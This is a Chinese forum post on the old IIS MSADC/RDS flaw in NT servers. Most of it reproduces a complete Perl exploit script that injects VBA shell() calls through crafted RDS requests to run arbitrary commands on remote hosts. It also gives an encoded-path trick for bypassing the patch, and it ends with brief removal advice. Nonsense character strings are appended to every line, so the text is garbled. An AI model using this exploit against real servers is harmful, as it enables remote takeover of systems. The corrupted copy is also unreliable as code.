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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) !_P-?u  
5+Ld1nom  
涉及程序: 7QX p\<7  
Microsoft NT server >2^|r8l5  
nSSj&q-O  
描述: oR@emYL  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 l_lK,=cLj+  
&_1x-@oI2:  
详细: j9sLR  
如果你没有时间读详细内容的话,就删除: ~@ H9h<T  
c:\Program Files\Common Files\System\Msadc\msadcs.dll NScUlR"nE  
有关的安全问题就没有了。 yDORL| E'  
eWk W,a  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 6Zx'$F.iqK  
:OKU@l|  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 'Szk!,_  
关于利用ODBC远程漏洞的描述,请参看: @{ CP18~:  
UCBx?9O/0  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $/)0iL{0  
KvvG H-]  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 (?vKe5  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp hfL8]d-  
4#Rq}/h  
这里不再论述。 RD_l  
8mn zxtk  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: m=#<   
JY0}#FtgV  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset df R?O#JPU  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ?y|8bw<  
gyT3[*eh  
lHc|: vG?  
#将下面这段保存为txt文件,然后: "perl -x 文件名" X-']D_f|,  
4 yDWVd;  
#!perl y**>l{!!  
# 8(@ Y@`/  
# MSADC/RDS 'usage' (aka exploit) script '-2|GX_o  
# Cj10?BNV)  
# by rain.forest.puppy hmES@^n!_  
# NGp^/PZX0  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me }nt,DG!r  
# beta test and find errors! !#TM%w  
k:0nj!^4w>  
use Socket; use Getopt::Std; *USzzLq  
getopts("e:vd:h:XR", \%args); @"vTz8oY@  
q6T>y%|FZ  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Pm=i(TBS/  
eFz!`a^dX  
if (!defined $args{h} && !defined $args{R}) { 52v@zDY  
print qq~ [E:-$R  
Usage: msadc.pl -h <host> { -d <delay> -X -v } rXF=/  
-h <host> = host you want to scan (ip or domain) (@3?JJ]1  
-d <seconds> = delay between calls, default 1 second r34 GO1d  
-X = dump Index Server path table, if available J]gtgt^   
-v = verbose Rap =&  
-e = external dictionary file for step 5 j=V2~ xA6  
V5up/6b,1  
Or a -R will resume a command session 3BK_$Fy  
&B@qb?UE1  
~; exit;} W:y'a3~  
"*oN~&flc  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; $E35 W=~)  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ;Ebpf J  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ,&aD U  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); VCCG_K9'  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} f' &  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } lFc4| _c g  
z\6/?5D#v  
if (!defined $args{R}){ $ret = &has_msadc; L.$+W}  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} kT ,2eel  
-z?O^:e#x  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" _/RP3"#  
. "cmd /c "; ^SJa/I EZ.  
$in=<STDIN>; chomp $in; G}0fk]%\:  
$command="cmd /c " . $in ; mP+rPDGp  
[+ N 5  
if (defined $args{R}) {&load; exit;} qp`G5bw  
.9u,54t  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Sp~gY]:  
&try_btcustmr; 2\L}Ka|v  
fS- 31<?  
print "\nStep 2: Trying to make our own DSN..."; -^<`v{}Dn  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 2@+ MT z  
%q5iy0~P  
print "\nStep 3: Trying known DSNs..."; J>S`}p  
&known_dsn; s[tFaB1  
nyr)d%I{  
print "\nStep 4: Trying known .mdbs..."; Oo`b#!L  
&known_mdb; ealh>Y  
[0-zJy|,  
if (defined $args{e}){ Jm {~H%  
print "\nStep 5: Trying dictionary of DSN names..."; ^`Qh*:T$  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } &xjeZh4-  
-E>se8%"  
print "Sorry Charley...maybe next time?\n"; !e(ZEV g  
exit; #Cz6c%yK  
ey3;rY1  
############################################################################## hXM2B2[  
:>GT<PPD;  
sub sendraw { # ripped and modded from whisker xrky5[XoD  
sleep($delay); # it's a DoS on the server! At least on mine... 2z=GKV  
my ($pstr)=@_;  zFk@Y  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || EL=}xug,?  
die("Socket problems\n"); ?$\y0lHw/7  
if(connect(S,pack "SnA4x8",2,80,$target)){ O-K!Bv^ Q  
select(S); $|=1; uH?lj&  
print $pstr; my @in=<S>; 4,g3 c  
select(STDOUT); close(S); x1ID6kI[{*  
return @in; ky5gU[  
} else { die("Can't connect...\n"); }} | QI-gw  
uyDYS  
############################################################################## 4!r> ^a  
;r XhK$  
sub make_header { # make the HTTP request %D:5 S?{  
my $msadc=<<EOT 4uUR2J  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 q{t"=@lX01  
User-Agent: ACTIVEDATA `O/RNMaC  
Host: $ip m K@a7fF?  
Content-Length: $clen ,9;d"ce  
Connection: Keep-Alive -?AaRwZ,  
*cn#W]AE  
ADCClientVersion:01.06 7OOod1  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 tHo0q<.oX  
5`3f"(ay/  
--!ADM!ROX!YOUR!WORLD! % 1p4K)  
Content-Type: application/x-varg |uE _aFQs  
Content-Length: $reqlen Pf]O'G&F  
4MOA}FZ~  
EOT ~IE5j,SC  
; $msadc=~s/\n/\r\n/g; TAu*lL(F  
return $msadc;} Ev\kq>2 O  
umWZ]8  
############################################################################## W<uL{k.Kpd  
6}6ky9  
sub make_req { # make the RDS request 4)3!n*I  
my ($switch, $p1, $p2)=@_; y[!4M+jj  
my $req=""; my $t1, $t2, $query, $dsn; 4';]fmf@[i  
>MIp r  
if ($switch==1){ # this is the btcustmr.mdb query ~-w  
$query="Select * from Customers where City=" . make_shell(); <#9zc'ED:  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . /@bLc1"  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} K!9rH>`\  
|V|)cPQ  
elsif ($switch==2){ # this is general make table query tK|hC[  
$query="create table AZZ (B int, C varchar(10))"; 5}4MXI4  
$dsn="$p1";} TIa`cU`  
(u >:G6K  
elsif ($switch==3){ # this is general exploit table query ].2it{gF?b  
$query="select * from AZZ where C=" . make_shell(); = *A_{u;E  
$dsn="$p1";} rHtT>UE=  
"lf_`4  
elsif ($switch==4){ # attempt to hork file info from index server ]41G!'E=  
$query="select path from scope()"; )LYj,do  
$dsn="Provider=MSIDXS;";} ab 1\nzpd  
 N>Pufr  
elsif ($switch==5){ # bad query \g}FoN&  
$query="select"; @zJ#16V i  
$dsn="$p1";} EN%Xs578  
CFh&z^]PR  
$t1= make_unicode($query); u0J+Nj9  
$t2= make_unicode($dsn); V6d*O`  
$req = "\x02\x00\x03\x00"; *X;g Y  
$req.= "\x08\x00" . pack ("S1", length($t1)); m`c(J1Et  
$req.= "\x00\x00" . $t1 ; `Vwj|[0k  
$req.= "\x08\x00" . pack ("S1", length($t2)); wz!]]EQ!o  
$req.= "\x00\x00" . $t2 ; j1>77C3  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ^~5tntb.  
return $req;} 7,e=|%7.  
>~$ S!  
############################################################################## .6 E7 R  
++13m*fA  
sub make_shell { # this makes the shell() statement #U&G$E`7  
return "'|shell(\"$command\")|'";} t@/r1u|iq  
'eo2a&S2D  
############################################################################## *0R=(Gy  
QLH s 3eM  
sub make_unicode { # quick little function to convert to unicode ii*Ty!Sa  
my ($in)=@_; my $out; <!zItFMD[m  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 5hpb=2  
return $out;}  j>s%q .  
Drlt xI)  
############################################################################## C_#0Y_O  
F ,{nG[PL  
sub rdo_success { # checks for RDO return success (this is kludge) m`9)DsR N  
my (@in) = @_; my $base=content_start(@in); %'* |N [  
if($in[$base]=~/multipart\/mixed/){ ZF;S}1  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} vfegIoZ  
return 0;} 2+GF:[$  
2uWzcy ?F  
############################################################################## 5Kv=;o=U  
'EREut,>'  
sub make_dsn { # this makes a DSN for us h3 p 3~xq  
my @drives=("c","d","e","f"); "eQ96^'J  
print "\nMaking DSN: "; fINM$ 6  
foreach $drive (@drives) { cx2s|@u0  
print "$drive: "; jVRd[  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . X2i<2N*@  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" eS@RA2  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); LTtfOcrt  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; -r-`T s  
return 0 if $2 eq "404"; # not found/doesn't exist \lR~!6:  
if($2 eq "200") { =10t3nA1$  
foreach $line (@results) { -"a+<(Y  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} & ,&+/Sr11  
} return 0;} ~.x!st}  
@-b}iP<T  
############################################################################## H[,.nH_>+  
?EX'j >  
sub verify_exists { 8d)F#  
my ($page)=@_; [1nI%/</>  
my @results=sendraw("GET $page HTTP/1.0\n\n"); fJE ki>1  
return $results[0];} K?T)9  
V7401@F  
############################################################################## v,|;uc+  
2 yP#:T/z  
sub try_btcustmr { \k1Wh-3  
my @drives=("c","d","e","f"); Gcs+@7!b  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Ya9uu@F  
(rw bF  
foreach $dir (@dirs) { xJ&StN/'  
print "$dir -> "; # fun status so you can see progress 82)d.>  
foreach $drive (@drives) { 2|%30i,vV  
print "$drive: "; # ditto ;*Z w}51  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ?>o39|M_w  
$reqlenlen=length( "$reqlen" ); LOida#R  
$clen= 206 + $reqlenlen + $reqlen; { J0^S  
//+UQgl6  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); (`!| Uf$  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} %okEN !=  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Pm?6]] 7  
,+X8?9v  
############################################################################## s*l_O* $'  
2s{yg%U(  
sub odbc_error { R9CAw>s  
my (@in)=@_; my $base; Ew:JpMR  
my $base = content_start(@in); AN~1E@"  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this `z=MI66Nl  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; a|7V{pp=M  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +u=xBhZ  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; K5.C*|w  
return $in[$base+4].$in[$base+5].$in[$base+6];} iuHG9#n  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; +Zr03B  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . zIo))L  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} mtOrb9` m  
D\`$  
############################################################################## 8Peqm?{5Y5  
bm+ Mr  
sub verbose { DSjo%Brd-  
my ($in)=@_; k Dv)g  
return if !$verbose; hsE!3[[  
print STDOUT "\n$in\n";} 1QN]9R0`#7  
S$H4xkKs  
############################################################################## Qp=uiXs  
cn\_;TYiJ  
sub save { -xcz+pHQ  
my ($p1, $p2, $p3, $p4)=@_; 1OGlD+f  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; NfO0^^"  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; FFQF0.@EBi  
close OUT;} <K0lS;@K  
Sc0ZT/Lm  
############################################################################## [MEa@D<7N  
vv8$u3H  
sub load { ( ~OwO_|3  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Rxli;blzi  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); U=yD!  
@p=<IN>; close(IN); 0?:ZERv  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); wk/->Rz  
$target= inet_aton($ip) || die("inet_aton problems"); ry< P LRN  
print "Resuming to $ip ..."; hW},%  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 7Ow7|  
if($p[1]==1) { PLY7qM w  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; S77Gc:[;8  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; *m"mt  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); O:x=yj%^  
if (rdo_success(@results)){print "Success!\n";} 8zGzn%^  
else { print "failed\n"; verbose(odbc_error(@results));}} YW}/C wB  
elsif ($p[1]==3){ an7N<-?  
if(run_query("$p[3]")){ f@}(<#  
print "Success!\n";} else { print "failed\n"; }} d}=p-s.GA  
elsif ($p[1]==4){ zm}1~A  
if(run_query($drvst . "$p[3]")){ .U3p~M+  
print "Success!\n"; } else { print "failed\n"; }} f*5"Jh@  
exit;} v8X&H  
UB1/FM4~  
############################################################################## H{XW?O^@  
<h}?0NA4  
sub create_table { M`<D Z<:<  
my ($in)=@_; -?(RoWv@X&  
$reqlen=length( make_req(2,$in,"") ) - 28; Z kS* CG   
$reqlenlen=length( "$reqlen" ); P:=AD W c  
$clen= 206 + $reqlenlen + $reqlen; B';Ob  
my @results=sendraw(make_header() . make_req(2,$in,"")); ]@P*&FRcZ  
return 1 if rdo_success(@results); 5R Hs  
my $temp= odbc_error(@results); verbose($temp); }Q=Zqlvz  
return 1 if $temp=~/Table 'AZZ' already exists/; f LW>-O73  
return 0;} 6:!fyia  
ZJpI]^9|  
############################################################################## F,zJdJ  
O92Yd$S  
sub known_dsn { !+6l.`2WI  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 9N29dp>g{{  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",  ;E&XFTdO  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 6vA5L_  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); yR!>80$j  
R3PhKdQ"  
foreach $dSn (@dsns) { *O5+?J Z!  
print "."; Q.\>+4]1&&  
next if (!is_access("DSN=$dSn")); s7e'9Bx  
if(create_table("DSN=$dSn")){ hJ<2bgQo  
print "$dSn successful\n"; @CmxH(-i-  
if(run_query("DSN=$dSn")){ 7S`H?},sR  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { qcot T\rq  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ~<%cc+;`  
U)!AH^{32  
############################################################################## yU.0'r5uR  
zaZ}:N/w(z  
sub is_access { @}gdOaw  
my ($in)=@_; n`,Q:  
$reqlen=length( make_req(5,$in,"") ) - 28; kUt9'|9!  
$reqlenlen=length( "$reqlen" ); Rv-o__C!  
$clen= 206 + $reqlenlen + $reqlen; w}0Qy  
my @results=sendraw(make_header() . make_req(5,$in,"")); q{ hq.KZ  
my $temp= odbc_error(@results); Cg Sdyg@  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); |-fx 0y   
return 0;} 6S<$7=$ =  
6bGD8 ;  
############################################################################## %awS*  
R}>Do=hAO  
sub run_query { B`F82_O  
my ($in)=@_; !D3}5A1,  
$reqlen=length( make_req(3,$in,"") ) - 28; W!k6qTz)  
$reqlenlen=length( "$reqlen" ); }D^Gt)   
$clen= 206 + $reqlenlen + $reqlen; #+;=ijyF  
my @results=sendraw(make_header() . make_req(3,$in,"")); taQ[>x7b  
return 1 if rdo_success(@results); 6`C27  
my $temp= odbc_error(@results); verbose($temp); 7|-xM>L$A  
return 0;} DX"; v J  
zEW:Xe)  
############################################################################## K*9b `%  
bwJi[xF  
sub known_mdb { n@Ag`}  
my @drives=("c","d","e","f","g"); eFQi K6`i  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 4L e5Ms/  
my $dir, $drive, $mdb;  o,yvi  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; yLx.*I^6  
S;'eoqN8  
# this is sparse, because I don't know of many c)8wO=!  
my @sysmdbs=( "\\catroot\\icatalog.mdb", EVFfXv^  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", (UZ*36@PJx  
"\\system32\\certmdb.mdb", qt(:bEr^6b  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% @:&+wq_>A^  
O[y`'z;C  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", C=IH#E=  
"\\cfusion\\cfapps\\forums\\forums_.mdb", S nHAY <  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", l5[xJH  
"\\cfusion\\cfapps\\security\\realm_.mdb", m_2P{  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", !r*;R\!n2  
"\\cfusion\\database\\cfexamples.mdb", M 9#QS`G  
"\\cfusion\\database\\cfsnippets.mdb", VK;x6*Y  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", tZ^;{sM  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", aA`q!s.%A  
"\\cfusion\\brighttiger\\database\\cleam.mdb", wIF ":'  
"\\cfusion\\database\\smpolicy.mdb", !5j3gr ~  
"\\cfusion\\database\cypress.mdb", >~rd5xlk  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", [bG>qe1}&  
"\\website\\cgi-win\\dbsample.mdb", $O'2oeM  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", yV/ J(  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" SN(=e#ljE  
); #these are just 4C%>/*%8>  
foreach $drive (@drives) { ^-u HdafP  
foreach $dir (@dirs){ w<Cmzkf  
foreach $mdb (@sysmdbs) { iyYY)roB  
print "."; h50StZ8Yr  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ *BsDHq-F~  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; `M ygDG+u  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 2\{uq v  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Db=>7@h3C  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 4i/q^;`  
0>=)  
foreach $drive (@drives) { >iH).:j  
foreach $mdb (@mdbs) { zm+4Rl(  
print "."; VaSNFl1_M  
if(create_table($drv . $drive . $dir . $mdb)){ wLSZL  
print "\n" . $drive . $dir . $mdb . " successful\n"; x{>Y$t]  
if(run_query($drv . $drive . $dir . $mdb)){ jF{gDK  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; &&1Y"dFs  
} else { print "Something's borked. Use verbose next time\n"; }}}} -]\E}Ti  
} df6&Nu;4L  
9K46>_TyH  
############################################################################## Cz r4 -#2  
^70.g?(f[  
sub hork_idx { 4Qel;  
print "\nAttempting to dump Index Server tables...\n"; &ORv bnd6  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; >J3ja>Gw/  
$reqlen=length( make_req(4,"","") ) - 28; =9 M|o0aY  
$reqlenlen=length( "$reqlen" ); BhW]Oq&  
$clen= 206 + $reqlenlen + $reqlen; |Xm4(FN\  
my @results=sendraw2(make_header() . make_req(4,"","")); I"sobZ`  
if (rdo_success(@results)){ W}k?gg=  
my $max=@results; my $c; my %d; ,{?bM  
for($c=19; $c<$max; $c++){ ]ZGvRA&  
$results[$c]=~s/\x00//g; ckN(`W,xp  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; $&=;9="  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; &n]Z1e}5  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; rtL9c w5  
$d{"$1$2"}="";} AKKU-5 B9c  
foreach $c (keys %d){ print "$c\n"; } C.eV|rc@T  
} else {print "Index server doesn't seem to be installed.\n"; }} o|qeh<2=x  
U.Chf9a -  
############################################################################## *OOa)P{^D  
{0vbC/?]  
sub dsn_dict { EO/cW<uV'  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ;D"P9b]9$  
while(<IN>){ s$>m0^  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; :+ 9Ft>  
next if (!is_access("DSN=$dSn")); R%N#G<^R  
if(create_table("DSN=$dSn")){ V> a3V'  
print "$dSn successful\n"; {<}I9D5  
if(run_query("DSN=$dSn")){ CDW(qq-zD  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ]2\2/~l  
print "Something's borked. Use verbose next time\n";}}} 39T&c85  
print "\n"; close(IN);} ys[i`~$  
|<3Q+EB^  
############################################################################## M-Z6TL  
$sc8)d\B  
sub sendraw2 { # ripped and modded from whisker y:|.m@ j1  
sleep($delay); # it's a DoS on the server! At least on mine... ?Y0$X>nm  
my ($pstr)=@_; av; (b3Lq  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || M,\|V3s  
die("Socket problems\n"); )/WA)fWkT  
if(connect(S,pack "SnA4x8",2,80,$target)){ _UBJPb@=U  
print "Connected. Getting data"; $qlqW y-s  
open(OUT,">raw.out"); my @in; p=-B~:  
select(S); $|=1; print $pstr; F*4Qa  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} F0BOhlK  
close(OUT); select(STDOUT); close(S); return @in; z<[.MH`ln  
} else { die("Can't connect...\n"); }} U.pr} hq  
@0UwI%.  
############################################################################## 2>MP:yY;K  
Eo { 1y  
sub content_start { # this will take in the server headers XuFm4DEJ  
my (@in)=@_; my $c; }U?gKlLg  
for ($c=1;$c<500;$c++) { j |'# 5H`  
if($in[$c] =~/^\x0d\x0a/){ @%G'U&R{  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } cB|Cy{%  
else { return $c+1; }}} hDB`t $  
return -1;} # it should never get here actually |,a%z-l  
LTYu xZ  
############################################################################## D)*_{   
F`;TU"pDf  
sub funky { \9>g;qPg}  
my (@in)=@_; my $error=odbc_error(@in); _yxe2[TD  
if($error=~/ADO could not find the specified provider/){ f`u5\!}=!  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; nXM9Px!  
exit;} M=\d_O#;Z  
if($error=~/A Handler is required/){ (iCZz{l@~  
print "\nServer has custom handler filters (they most likely are patched)\n"; )-Mn"1ia  
exit;} do=x 9k@Q  
if($error=~/specified Handler has denied Access/){ UPVO~hB;  
print "\nServer has custom handler filters (they most likely are patched)\n"; '#McY'.D T  
exit;}} iO?gF  
[]=FZ`4  
############################################################################## 0i`v:Lq%  
Y uw E 0  
sub has_msadc { 2pxWv )0  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); rY[3_NG%  
my $base=content_start(@results); P,$ [|)[E  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); PtRj9TT  
return 0;} 4 [5lX C  
Sr ztTfY  
######################## g/U$!d_  
Lem\UD$D`  
uGP[l`f|FQ  
解决方案: 9LqMQv"xW  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll (5Z8zNH`3  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 @wYQLZ  
B c,"12  
拿出来充数 哈哈
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